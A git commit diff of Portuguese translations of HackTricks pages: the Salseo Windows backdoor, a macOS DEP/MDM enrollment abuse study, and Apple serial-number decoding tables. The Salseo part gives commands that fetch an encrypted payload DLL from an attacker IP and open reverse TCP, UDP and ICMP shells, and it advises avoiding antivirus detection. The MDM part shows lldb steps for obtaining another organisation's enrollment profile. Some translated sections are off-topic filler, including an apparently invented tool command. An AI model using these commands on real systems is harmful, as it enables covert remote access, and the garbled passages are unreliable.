Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/ma

This commit is contained in:
Translator 2023-06-13 09:00:57 +00:00
parent dd76564270
commit 677215430c
7 changed files with 179 additions and 169 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 114 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 KiB

After

Width:  |  Height:  |  Size: 160 KiB

View file

@ -8,7 +8,7 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -39,66 +39,38 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
```
### Windows
### Enumeração de usuários
### Introdução
#### Salsa-tools
O Windows é o sistema operacional mais utilizado no mundo, o que o torna um alvo popular para hackers. Nesta seção, discutiremos algumas técnicas de backdoor que podem ser usadas em sistemas Windows.
Salsa-tools é uma ferramenta que permite a enumeração de usuários em um ambiente Windows. Ele pode ser usado para encontrar usuários que não estão visíveis no Gerenciador de Usuários do Windows.
### Backdoors
Para usá-lo, basta executar o seguinte comando:
#### Backdoor de Registro
```
salsa-tools.exe enumusers
```
O registro do Windows é um banco de dados que armazena configurações e opções para o sistema operacional e para os programas instalados. Um backdoor pode ser adicionado ao registro para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito adicionando uma chave de registro que executa um comando ou script malicioso.
Este comando irá listar todos os usuários do sistema, incluindo aqueles que estão ocultos.
#### Backdoor de Serviço
#### Comando Net
Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidades para o sistema operacional e para os programas instalados. Um backdoor pode ser adicionado como um serviço para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito criando um serviço que executa um comando ou script malicioso.
O comando `net` também pode ser usado para listar usuários em um sistema Windows. Para listar todos os usuários, basta executar o seguinte comando:
#### Backdoor de Arquivo
```
net user
```
Um backdoor pode ser adicionado a um arquivo executável do Windows para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito injetando código malicioso no arquivo executável ou anexando um arquivo executável malicioso a um arquivo legítimo.
Este comando irá listar todos os usuários do sistema.
### Conclusão
Para listar informações detalhadas sobre um usuário específico, basta executar o seguinte comando:
```
net user <username>
```
Substitua `<username>` pelo nome de usuário que você deseja obter informações.
#### Ferramenta WMIC
A ferramenta WMIC (Windows Management Instrumentation Command-line) também pode ser usada para listar usuários em um sistema Windows. Para listar todos os usuários, basta executar o seguinte comando:
```
wmic useraccount list brief
```
Este comando irá listar todos os usuários do sistema.
Para listar informações detalhadas sobre um usuário específico, basta executar o seguinte comando:
```
wmic useraccount where name='<username>' get *
```
Substitua `<username>` pelo nome de usuário que você deseja obter informações.
Existem várias técnicas de backdoor que podem ser usadas em sistemas Windows. É importante que os administradores de sistemas estejam cientes dessas técnicas e tomem medidas para proteger seus sistemas contra elas.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, agora você tem tudo o que precisa para executar todo o processo Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
**Faça o upload do binário SalseoLoader.exe na máquina. Eles não devem ser detectados por nenhum AV...**
## **Executando a backdoor**
### **Obtendo um shell reverso TCP (baixando o dll codificado por HTTP)**
### **Obtendo um shell reverso TCP (baixando o dll codificado através do HTTP)**
Lembre-se de iniciar um nc como ouvinte de shell reverso e um servidor HTTP para servir o evilsalsa codificado.
```
@ -114,14 +86,14 @@ SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <A
**Desta vez, você precisa de uma ferramenta especial no cliente para receber o shell reverso. Baixe:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Desativando Respostas ICMP:**
#### **Desativando as respostas ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Executar o cliente:
#### Executando o cliente:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
@ -143,11 +115,11 @@ Abra o projeto SalseoLoader usando o Visual Studio.
![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
#### **Procure pelo pacote DllExport (usando a guia Procurar) e pressione Instalar (e aceite o popup)**
#### **Procure pelo pacote DllExport (usando a guia Procurar), e pressione Instalar (e aceite o popup)**
![](<../.gitbook/assets/image (4) (1) (1) (1).png>)
Na pasta do seu projeto, aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
Na pasta do seu projeto aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
### **D**esinstale o DllExport
@ -161,7 +133,7 @@ Apenas **saia** do Visual Studio
Em seguida, vá para a sua pasta **SalseoLoader** e **execute DllExport\_Configure.bat**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, que foi o meu caso), selecione **System.Runtime.InteropServices** (dentro do **Namespace para DllExport**) e pressione **Aplicar**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro do **Namespace para DllExport**) e pressione **Aplicar**
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
@ -169,11 +141,11 @@ Selecione **x64** (se você for usá-lo dentro de uma caixa x64, que foi o meu c
**\[DllExport]** não deve mais ser marcado como erro
![](<../.gitbook/assets/image (8) (1).png>)
![](<../.gitbook/assets/image (8) (1) (1).png>)
### Compile a solução
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de Saída = Biblioteca de Classes)
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)
![](<../.gitbook/assets/image (10) (1).png>)
@ -195,7 +167,7 @@ Se nenhum erro aparecer, provavelmente você tem uma DLL funcional!!
## Obter um shell usando a DLL
Não se esqueça de usar um **servidor HTTP** e configurar um **listener nc**
Não se esqueça de usar um **servidor HTTP** e configurar um **ouvinte nc**
### Powershell
```
@ -208,7 +180,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (ou Command Prompt) é um aplicativo de linha de comando do Windows que permite aos usuários interagir com o sistema operacional por meio de comandos de texto. Ele pode ser usado para executar várias tarefas, como gerenciamento de arquivos, configuração de rede e execução de scripts. O CMD também pode ser usado para executar comandos maliciosos, como instalar backdoors ou roubar informações confidenciais. É importante estar ciente desses riscos e tomar medidas para proteger seu sistema contra ataques de CMD.
CMD (Command Prompt) é uma ferramenta de linha de comando do Windows que permite aos usuários interagir com o sistema operacional por meio de comandos. É uma ferramenta poderosa para hackers, pois permite executar comandos rapidamente e sem a necessidade de uma interface gráfica. Além disso, muitas ferramentas de hacking são executadas por meio do CMD.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View file

@ -1,13 +1,27 @@
# Introdução
# Inscrição de dispositivos em outras organizações
Como [**comentado anteriormente**](./#what-is-mdm-mobile-device-management), para tentar inscrever um dispositivo em uma organização, é necessário apenas um número de série pertencente a essa organização. Uma vez que o dispositivo é inscrito, várias organizações instalarão dados sensíveis no novo dispositivo: certificados, aplicativos, senhas WiFi, configurações VPN [e assim por diante](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introdução
Como [**comentado anteriormente**](./#what-is-mdm-mobile-device-management), para tentar inscrever um dispositivo em uma organização, é necessário apenas um número de série pertencente a essa organização. Depois que o dispositivo é inscrito, várias organizações instalarão dados sensíveis no novo dispositivo: certificados, aplicativos, senhas WiFi, configurações VPN [e assim por diante](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Portanto, isso pode ser um ponto de entrada perigoso para atacantes se o processo de inscrição não estiver corretamente protegido.
**A pesquisa a seguir é retirada de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)
# Revertendo o processo
## Reversão do processo
## Binários envolvidos em DEP e MDM
### Binários envolvidos em DEP e MDM
Ao longo de nossa pesquisa, exploramos o seguinte:
@ -15,13 +29,13 @@ Ao longo de nossa pesquisa, exploramos o seguinte:
* **`profiles`**: Um utilitário que pode ser usado para instalar, remover e visualizar perfis de configuração no macOS. Também pode ser usado para acionar uma verificação DEP no macOS 10.13.4 e posterior.
* **`cloudconfigurationd`**: O daemon do cliente de inscrição de dispositivo, que é responsável por se comunicar com a API DEP e recuperar perfis de inscrição de dispositivo.
Ao usar `mdmclient` ou `profiles` para iniciar uma verificação DEP, as funções `CPFetchActivationRecord` e `CPGetActivationRecord` são usadas para recuperar o _Registro de Ativação_. `CPFetchActivationRecord` delega o controle para `cloudconfigurationd` por meio de [XPC](https://developer.apple.com/documentation/xpc), que então recupera o _Registro de Ativação_ da API DEP.
Ao usar `mdmclient` ou `profiles` para iniciar uma verificação DEP, as funções `CPFetchActivationRecord` e `CPGetActivationRecord` são usadas para recuperar o _Activation Record_. `CPFetchActivationRecord` delega o controle para `cloudconfigurationd` por meio de [XPC](https://developer.apple.com/documentation/xpc), que então recupera o _Activation Record_ da API DEP.
`CPGetActivationRecord` recupera o _Registro de Ativação_ do cache, se disponível. Essas funções são definidas no framework de perfis de configuração privados, localizado em `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
`CPGetActivationRecord` recupera o _Activation Record_ do cache, se disponível. Essas funções são definidas no framework de perfis de configuração privados, localizado em `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
## Engenharia reversa do protocolo Tesla e do esquema Absinthe
### Engenharia reversa do protocolo Tesla e do esquema Absinthe
Durante o processo de verificação DEP, `cloudconfigurationd` solicita um _Registro de Ativação_ de _iprofiles.apple.com/macProfile_. A carga útil da solicitação é um dicionário JSON contendo dois pares de chave-valor:
Durante o processo de verificação DEP, `cloudconfigurationd` solicita um _Activation Record_ de _iprofiles.apple.com/macProfile_. A carga útil da solicitação é um dicionário JSON contendo dois pares de chave-valor:
```
{
"sn": "",
@ -43,16 +57,16 @@ rsi = @selector(sendFailureNoticeToRemote);
```
Uma vez que o esquema **Absinthe** é o que parece ser usado para autenticar solicitações ao serviço DEP, **engenharia reversa** deste esquema permitiria que fizéssemos nossas próprias solicitações autenticadas à API DEP. Isso provou ser **demorado**, principalmente por causa do número de etapas envolvidas na autenticação de solicitações. Em vez de reverter completamente como esse esquema funciona, optamos por explorar outros métodos de inserir números de série arbitrários como parte da solicitação do _Activation Record_.
## MITMing DEP Requests
### MITMing DEP Requests
Exploramos a viabilidade de fazer proxy de solicitações de rede para _iprofiles.apple.com_ com [Charles Proxy](https://www.charlesproxy.com). Nosso objetivo era inspecionar a carga útil enviada para _iprofiles.apple.com/macProfile_, em seguida, inserir um número de série arbitrário e reproduzir a solicitação. Como mencionado anteriormente, a carga útil enviada para esse endpoint pelo `cloudconfigurationd` está no formato [JSON](https://www.json.org) e contém dois pares de chave-valor.
Exploramos a viabilidade de fazer proxy de solicitações de rede para _iprofiles.apple.com_ com o [Charles Proxy](https://www.charlesproxy.com). Nosso objetivo era inspecionar a carga útil enviada para _iprofiles.apple.com/macProfile_, inserir um número de série arbitrário e reproduzir a solicitação. Como mencionado anteriormente, a carga útil enviada para esse endpoint pelo `cloudconfigurationd` está no formato [JSON](https://www.json.org) e contém dois pares de chave-valor.
```
{
"action": "RequestProfileConfiguration",
sn": "
}
```
Uma vez que a API em _iprofiles.apple.com_ usa [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), precisamos habilitar o SSL Proxying no Charles para esse host para ver o conteúdo de texto simples das solicitações SSL.
Uma vez que a API em _iprofiles.apple.com_ usa [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), precisamos habilitar o SSL Proxying no Charles para esse host, a fim de ver o conteúdo de texto simples das solicitações SSL.
No entanto, o método `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` verifica a validade do certificado do servidor e abortará se a confiança do servidor não puder ser verificada.
```
@ -70,7 +84,7 @@ $ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>
```
O arquivo _Errors.strings_ pode ser impresso em um formato legível por humanos com o comando `plutil` integrado. [Veja aqui](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output).
O arquivo _Errors.strings_ pode ser [impresso em um formato legível por humanos](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output) com o comando `plutil` integrado.
```
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
```
@ -90,13 +104,13 @@ sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcc
```
Com o SSL Proxying habilitado para _iprofiles.apple.com_ e `cloudconfigurationd` configurado para aceitar qualquer certificado HTTPS, tentamos fazer um ataque man-in-the-middle e reproduzir as solicitações no Charles Proxy.
No entanto, uma vez que a carga incluída no corpo da solicitação HTTP POST para _iprofiles.apple.com/macProfile_ é assinada e criptografada com Absinthe, (`NACSign`), **não é possível modificar a carga JSON de texto simples para incluir um número de série arbitrário sem ter a chave para descriptografá-la**. Embora fosse possível obter a chave, pois ela permanece na memória, optamos por explorar o `cloudconfigurationd` com o depurador [LLDB](https://lldb.llvm.org).
No entanto, como a carga incluída no corpo da solicitação HTTP POST para _iprofiles.apple.com/macProfile_ é assinada e criptografada com Absinthe, (`NACSign`), **não é possível modificar o payload JSON de texto simples para incluir um número de série arbitrário sem ter a chave para descriptografá-lo**. Embora fosse possível obter a chave porque ela permanece na memória, em vez disso, passamos a explorar `cloudconfigurationd` com o depurador [LLDB](https://lldb.llvm.org).
## Instrumentando Binários do Sistema que Interagem com o DEP
### Instrumentando Binários do Sistema que Interagem com DEP
O último método que exploramos para automatizar o processo de envio de números de série arbitrários para _iprofiles.apple.com/macProfile_ foi instrumentar binários nativos que interagem diretamente ou indiretamente com a API DEP. Isso envolveu alguma exploração inicial do `mdmclient`, `profiles` e `cloudconfigurationd` no [Hopper v4](https://www.hopperapp.com) e [Ida Pro](https://www.hex-rays.com/products/ida/), e algumas sessões longas de depuração com o `lldb`.
O último método que exploramos para automatizar o processo de envio de números de série arbitrários para _iprofiles.apple.com/macProfile_ foi instrumentar binários nativos que interagem diretamente ou indiretamente com a API DEP. Isso envolveu alguma exploração inicial do `mdmclient`, `profiles` e `cloudconfigurationd` no [Hopper v4](https://www.hopperapp.com) e [Ida Pro](https://www.hex-rays.com/products/ida/), e algumas longas sessões de depuração com `lldb`.
Um dos benefícios deste método em relação à modificação dos binários e à resignação com nossa própria chave é que ele contorna algumas das restrições de autorização incorporadas ao macOS que, de outra forma, poderiam nos impedir.
Um dos benefícios desse método em relação à modificação dos binários e à resignação com nossa própria chave é que ele contorna algumas das restrições de autorização incorporadas ao macOS que, de outra forma, poderiam nos deter.
**Proteção da Integridade do Sistema**
@ -220,7 +234,7 @@ Em seguida, tentamos definir o número de série que é enviado na carga útil `
* Assina a carga útil JSON usando Absinthe (`NACSign`)
* Codifica em Base64 a carga útil JSON assinada
* Define o método HTTP como `POST`
* Define o corpo HTTP como a carga útil JSON assinada codificada em Base64
* Define o corpo HTTP como a carga útil JSON assinada em Base64
* Define o cabeçalho HTTP `X-Profile-Protocol-Version` como `1`
* Define o cabeçalho HTTP `User-Agent` como `ConfigClient-1.0`
* Usa o método `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` para executar a solicitação HTTP
@ -233,7 +247,7 @@ action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}
```
O acima é uma representação bem formatada do objeto `NSDictionary` retornado por `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Nosso próximo desafio foi modificar o objeto `NSDictionary` em memória contendo o número de série.
O acima é uma representação bem formatada do objeto `NSDictionary` retornado por `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Nosso próximo desafio foi modificar o `NSDictionary` em memória contendo o número de série.
```
(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
@ -264,7 +278,7 @@ A listagem acima faz o seguinte:
* Como já conhecemos os nomes das chaves necessárias, podemos simplesmente definir o número de série como um de nossa escolha para `sn` e deixar a ação como está
* A impressão do resultado da criação deste novo `NSDictionary` nos informa que temos dois pares de chave-valor em um local de memória específico
Nosso último passo agora foi repetir o mesmo passo de escrever em `rdx` o local de memória do nosso objeto `NSDictionary` personalizado que contém o número de série escolhido:
Nosso último passo agora era repetir o mesmo passo de escrever em `rdx` o local de memória do nosso objeto `NSDictionary` personalizado que contém o número de série escolhido:
```
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
(lldb) continue
@ -316,9 +330,9 @@ SupervisorHostCertificates = (
```
Com apenas alguns comandos `lldb`, podemos inserir com sucesso um número de série arbitrário e obter um perfil DEP que inclui vários dados específicos da organização, incluindo o URL de inscrição MDM da organização. Como discutido, este URL de inscrição poderia ser usado para inscrever um dispositivo malicioso agora que sabemos o seu número de série. Os outros dados poderiam ser usados para engenharia social de uma inscrição maliciosa. Uma vez inscrito, o dispositivo poderia receber qualquer número de certificados, perfis, aplicativos, configurações de VPN e assim por diante.
## Automatizando a Instrumentação do `cloudconfigurationd` com Python
### Automatizando a Instrumentação do `cloudconfigurationd` com Python
Depois de termos a prova de conceito inicial demonstrando como recuperar um perfil DEP válido usando apenas um número de série, começamos a automatizar esse processo para mostrar como um atacante poderia explorar essa fraqueza na autenticação.
Depois de termos a prova de conceito inicial demonstrando como recuperar um perfil DEP válido usando apenas um número de série, começamos a automatizar esse processo para mostrar como um invasor poderia explorar essa fraqueza na autenticação.
Felizmente, a API do LLDB está disponível em Python por meio de uma [interface de script](https://lldb.llvm.org/python-reference.html). Em sistemas macOS com as [Ferramentas de Linha de Comando do Xcode](https://developer.apple.com/download/more/) instaladas, o módulo Python `lldb` pode ser importado da seguinte forma:
```
@ -330,13 +344,13 @@ Isso tornou relativamente fácil criar um script de prova de conceito demonstran
![Notificação DEP.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961)
## Impacto
### Impacto
Existem vários cenários em que o Programa de Registro de Dispositivos da Apple pode ser abusado, o que levaria à exposição de informações sensíveis sobre uma organização. Os dois cenários mais óbvios envolvem a obtenção de informações sobre a organização a que um dispositivo pertence, que podem ser recuperadas do perfil DEP. O segundo é usar essas informações para realizar um registro DEP e MDM falso. Cada um desses cenários é discutido mais abaixo.
Existem vários cenários em que o Programa de Inscrição de Dispositivos da Apple pode ser abusado, o que levaria à exposição de informações sensíveis sobre uma organização. Os dois cenários mais óbvios envolvem a obtenção de informações sobre a organização a que um dispositivo pertence, que podem ser recuperadas do perfil DEP. O segundo é usar essas informações para realizar uma inscrição DEP e MDM falsa. Cada um desses cenários é discutido mais abaixo.
### Divulgação de informações
#### Divulgação de informações
Como mencionado anteriormente, parte do processo de registro no DEP envolve solicitar e receber um _Registro de Ativação_ (ou perfil DEP) da API do DEP. Ao fornecer um número de série do sistema registrado no DEP válido, somos capazes de recuperar as seguintes informações (impressas no `stdout` ou gravadas no log `ManagedClient`, dependendo da versão do macOS).
Como mencionado anteriormente, parte do processo de inscrição no DEP envolve solicitar e receber um _Registro de Ativação_ (ou perfil DEP) da API do DEP. Ao fornecer um número de série do sistema registrado no DEP válido, somos capazes de recuperar as seguintes informações (impressas no `stdout` ou gravadas no log `ManagedClient`, dependendo da versão do macOS).
```
Activation record: {
AllowPairing = 1;
@ -367,11 +381,11 @@ SupervisorHostCertificates = (
);
}
```
Embora algumas dessas informações possam estar disponíveis publicamente para determinadas organizações, ter um número de série de um dispositivo de propriedade da organização, juntamente com as informações obtidas do perfil DEP, pode ser usado contra a central de ajuda ou equipe de TI de uma organização para realizar qualquer número de ataques de engenharia social, como solicitar uma redefinição de senha ou ajuda para inscrever um dispositivo no servidor MDM da empresa.
Embora algumas dessas informações possam estar disponíveis publicamente para determinadas organizações, ter um número de série de um dispositivo de propriedade da organização, juntamente com as informações obtidas do perfil DEP, pode ser usado contra a central de ajuda ou equipe de TI da organização para realizar qualquer número de ataques de engenharia social, como solicitar uma redefinição de senha ou ajuda para inscrever um dispositivo no servidor MDM da empresa.
### Inscrição DEP Rogue
#### Inscrição DEP Rogue
O protocolo [Apple MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) suporta - mas não requer - autenticação do usuário antes da inscrição MDM via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Sem autenticação, tudo o que é necessário para inscrever um dispositivo em um servidor MDM via DEP é um número de série registrado no DEP**. Assim, um atacante que obtém tal número de série (seja por [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), engenharia social ou por força bruta) poderá inscrever um dispositivo próprio como se fosse de propriedade da organização, desde que não esteja atualmente inscrito no servidor MDM. Essencialmente, se um atacante conseguir vencer a corrida iniciando a inscrição DEP antes do dispositivo real, ele poderá assumir a identidade desse dispositivo.
O protocolo [Apple MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) suporta - mas não requer - autenticação do usuário antes da inscrição MDM via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Sem autenticação, tudo o que é necessário para inscrever um dispositivo em um servidor MDM via DEP é um número de série DEP válido registrado**. Assim, um atacante que obtém tal número de série (seja por [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), engenharia social ou por força bruta) poderá inscrever um dispositivo próprio como se fosse de propriedade da organização, desde que não esteja atualmente inscrito no servidor MDM. Essencialmente, se um atacante conseguir vencer a corrida iniciando a inscrição DEP antes do dispositivo real, ele poderá assumir a identidade desse dispositivo.
As organizações podem - e fazem - alavancar o MDM para implantar informações sensíveis, como certificados de dispositivo e usuário, dados de configuração de VPN, agentes de inscrição, perfis de configuração e vários outros dados internos e segredos organizacionais. Além disso, algumas organizações optam por não exigir autenticação do usuário como parte da inscrição MDM. Isso tem vários benefícios, como uma melhor experiência do usuário e não ter que [expor o servidor de autenticação interno ao servidor MDM para lidar com inscrições MDM que ocorrem fora da rede corporativa](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep).

View file

@ -1,69 +1,92 @@
Dispositivos Apple fabricados após 2010 geralmente possuem números de série alfanuméricos de **12 caracteres**, com os **três primeiros dígitos representando o local de fabricação**, os **dois seguintes indicando o ano** e a **semana** de fabricação, os **próximos três** dígitos fornecendo um **identificador único** e os **últimos quatro** dígitos representando o **número do modelo**.
# Número de série do macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Dispositivos Apple fabricados após 2010 geralmente têm números de série alfanuméricos de **12 caracteres**, com os **três primeiros dígitos representando o local de fabricação**, os **dois seguintes indicando o ano** e a **semana** de fabricação, os **próximos três dígitos fornecendo um identificador único** e os **últimos quatro dígitos representando o número do modelo**.
Exemplo de número de série: **C02L13ECF8J2**
## **3 - Locais de fabricação**
### **3 - Locais de fabricação**
| Código | Fábrica |
| :--- | :--- |
| FC | Fountain Colorado, EUA |
| F | Fremont, Califórnia, EUA |
| XA, XB, QP, G8 | EUA |
| RN | México |
| CK | Cork, Irlanda |
| VM | Foxconn, Pardubice, República Tcheca |
| SG, E | Cingapura |
| MB | Malásia |
| PT, CY | Coreia |
| EE, QT, UV | Taiwan |
| FK, F1, F2 | Foxconn - Zhengzhou, China |
| W8 | Xangai, China |
| DL, DM | Foxconn - China |
| DN | Foxconn, Chengdu, China |
| YM, 7J | Hon Hai/Foxconn, China |
| 1C, 4H, WQ, F7 | China |
| C0 | Tech Com - Quanta Computer Subsidiary, China |
| C3 | Foxxcon, Shenzhen, China |
| C7 | Pentragon, Changhai, China |
| RM | Remanufaturado |
| Código | Fábrica |
| ------ | -------------------------------------------- |
| FC | Fountain Colorado, EUA |
| F | Fremont, Califórnia, EUA |
| XA, XB, QP, G8 | EUA |
| RN | México |
| CK | Cork, Irlanda |
| VM | Foxconn, Pardubice, República Tcheca |
| SG, E | Cingapura |
| MB | Malásia |
| PT, CY | Coreia |
| EE, QT, UV | Taiwan |
| FK, F1, F2 | Foxconn - Zhengzhou, China |
| W8 | Xangai, China |
| DL, DM | Foxconn - China |
| DN | Foxconn, Chengdu, China |
| YM, 7J | Hon Hai/Foxconn, China |
| 1C, 4H, WQ, F7 | China |
| C0 | Tech Com - Quanta Computer Subsidiary, China |
| C3 | Foxxcon, Shenzhen, China |
| C7 | Pentragon, Changhai, China |
| RM | Remanufaturado |
## 1 - Ano de fabricação
### 1 - Ano de fabricação
| Código | Lançamento |
| :--- | :--- |
| C | 2010/2020 \(1º semestre\) |
| D | 2010/2020 \(2º semestre\) |
| F | 2011/2021 \(1º semestre\) |
| G | 2011/2021 \(2º semestre\) |
| H | 2012/... \(1º semestre\) |
| J | 2012 \(2º semestre\) |
| K | 2013 \(1º semestre\) |
| L | 2013 \(2º semestre\) |
| M | 2014 \(1º semestre\) |
| N | 2014 \(2º semestre\) |
| P | 2015 \(1º semestre\) |
| Q | 2015 \(2º semestre\) |
| R | 2016 \(1º semestre\) |
| S | 2016 \(2º semestre\) |
| T | 2017 \(1º semestre\) |
| V | 2017 \(2º semestre\) |
| W | 2018 \(1º semestre\) |
| X | 2018 \(2º semestre\) |
| Y | 2019 \(1º semestre\) |
| Z | 2019 \(2º semestre\) |
| Código | Lançamento |
| ------ | --------------------- |
| C | 2010/2020 (1º semestre) |
